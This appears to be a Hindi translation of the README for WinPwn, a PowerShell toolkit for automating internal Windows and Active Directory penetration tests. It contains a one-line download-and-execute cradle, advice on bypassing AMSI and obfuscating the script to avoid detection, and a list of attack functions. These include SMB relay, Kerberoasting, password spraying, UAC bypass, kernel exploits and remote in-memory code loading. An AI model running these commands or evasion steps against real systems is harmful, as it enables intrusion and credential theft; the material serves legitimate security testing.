आंतरिक विंडोज़ Penetrationtest / AD-Security के लिए ऑटोमेशन
पिछले कई आंतरिक पेनिट्रेशन टेस्ट में मुझे अक्सर मौजूदा Powershell Recon/Exploitation स्क्रिप्ट में प्रॉक्सी समर्थन की कमी के कारण समस्या होती थी। मैं अक्सर वर्तमान सिस्टम और/या डोमेन के बारे में जानकारी प्राप्त करने के लिए एक के बाद एक समान स्क्रिप्ट चलाता था। अधिक से अधिक आंतरिक पेनिट्रेशन टेस्ट प्रक्रियाओं (रिकॉननेसेंस और एक्सप्लॉइटेशन दोनों) को स्वचालित करने और प्रॉक्सी कारण से मैंने अपनी स्वचालित प्रॉक्सी पहचान और एकीकरण वाली स्क्रिप्ट लिखी। यह स्क्रिप्ट मुख्य रूप से प्रसिद्ध अन्य आक्रामक सुरक्षा Powershell परियोजनाओं पर आधारित है।
कोई भी सुझाव, फीडबैक, पुल रिक्वेस्ट और टिप्पणियाँ स्वागत हैं!
बस मॉड्यूल को इस प्रकार आयात करें:
Import-Module .\WinPwn.ps1 या
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
AMSI को बायपास करने के लिए किसी मौजूदा बायपास तकनीक का उपयोग करें, AMSI ट्रिगर ढूंढें और इसे बायपास फंक्शन में मैन्युअल रूप से बदलें या ट्रिगर स्ट्रिंग को एन्कोड करें। वैकल्पिक रूप से पूरी स्क्रिप्ट को अस्पष्ट करें।
यदि आप इंटरनेट एक्सेस के बिना विंडोज सिस्टम पर फंस गए हैं - कोई समस्या नहीं, बस Offline_Winpwn.ps1 का उपयोग करें, सबसे महत्वपूर्ण स्क्रिप्ट और एक्जीक्यूटेबल शामिल हैं।
आयात के बाद उपलब्ध कार्य:
WinPwn -> हमले चुनने के लिए मेनू:
Inveigh -> Inveigh को एक नई कंसोल विंडो में निष्पादित करता है, SMB-Relay हमले जिसमें सत्र प्रबंधन (Invoke-TheHash) शामिल हैSessionGopher -> SessionGopher को निष्पादित करता है, आपसे पैरामीटर मांगता हैKittielocal ->Localreconmodules ->Domainreconmodules ->Privescmoduleskernelexploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder और Invoke-Sharefinder (Powerview / Powersploit)Domainshares -> सभी डोमेन सिस्टम पर Snaffler या Passhunt खोजGroupsearch -> Get-DomainGPOUserLocalGroupMapping - ग्रुप पॉलिसी मैपिंग (Powerview / Powersploit) के माध्यम से उन सिस्टमों को ढूंढें जहां आपके पास व्यवस्थापक-पहुंच या RDP पहुंच हैKerberoasting -> एक नई विंडो में Invoke-Kerberoast निष्पादित करता है और बाद में क्रैक करने के लिए हैश संग्रहीत करता हैPowerSQL -> SQL सर्वर खोज, वर्तमान उपयोगकर्ता के साथ पहुंच की जांच करें, डिफ़ॉल्ट क्रेडेंशियल + UNCPath इंजेक्शन हमलों के लिए ऑडिटSharphound -> Bloodhound 3.0 रिपोर्टAdidnsmenu -> Active Directory-इंटीग्रेटेड DNS नोड बनाएं या हटाएंMS17-10 -> डोमेन या सभी सिस्टम में सक्रिय विंडोज सर्वर को MS17-10 (Eternalblue) कमजोरी के लिए स्कैन करेंSharpcradle -> रिमोट वेबसर्वर से C# फ़ाइलें RAM में लोड करेंDomainPassSpray -> DomainPasswordSpray हमले, सभी डोमेन उपयोगकर्ताओं के लिए एक पासवर्डBluekeep -> डोमेन सिस्टम के लिए Bluekeep स्कैनरपैरामीटर के बिना, अधिकांश फंक्शन केवल इंटरैक्टिव शेल से उपयोग किए जा सकते हैं। इसलिए मैंने पैरामीटर -noninteractive और -consoleoutput जोड़ने का निर्णय लिया ताकि स्क्रिप्ट को एक अतुल्यकालिक C2-फ्रेमवर्क जैसे Empire, Covenant, Cobalt Strike या अन्य से उपयोग किया जा सके। इसके अतिरिक्त, -repo पैरामीटर जोड़ा गया था ताकि WinPwn को स्थानीय रिपॉजिटरी से इसकी सभी सुविधाओं के साथ उपयोग किया जा सके। इनका उपयोग निम्नानुसार किया जा सकता है:
उपयोग:
-noninteractive -> कार्यों के लिए कोई प्रश्न नहीं, ताकि वे पूर्वनिर्धारित या उपयोगकर्ता द्वारा परिभाषित पैरामीटर के साथ चलें
-consoleoutput -> लूट/रिपोर्ट फ़ोल्डर नहीं बनाए जाते। प्रत्येक कार्य आउटपुट कंसोल पर लौटाता है ताकि आप अपने C2-फ्रेमवर्क के एजेंट लॉग में सब कुछ देख सकें उदाहरण:
WinPwn -noninteractive -consoleoutput -DomainRecon -> यह प्रत्येक एकल डोमेन रिकॉन स्क्रिप्ट और
फंक्शन लौटाएगा और संभवतः आपको बहुत अधिक आउटपुट देगा
WinPwn -noninteractive -consoleoutput -Localrecon -> यह स्थानीय सिस्टम के लिए अधिकतम जानकारी एकत्र करेगा
Generalrecon -noninteractive -> बुनियादी स्थानीय रिकॉन फंक्शन निष्पादित करें और आउटपुट को संबंधित फ़ोल्डरों में संग्रहीत करें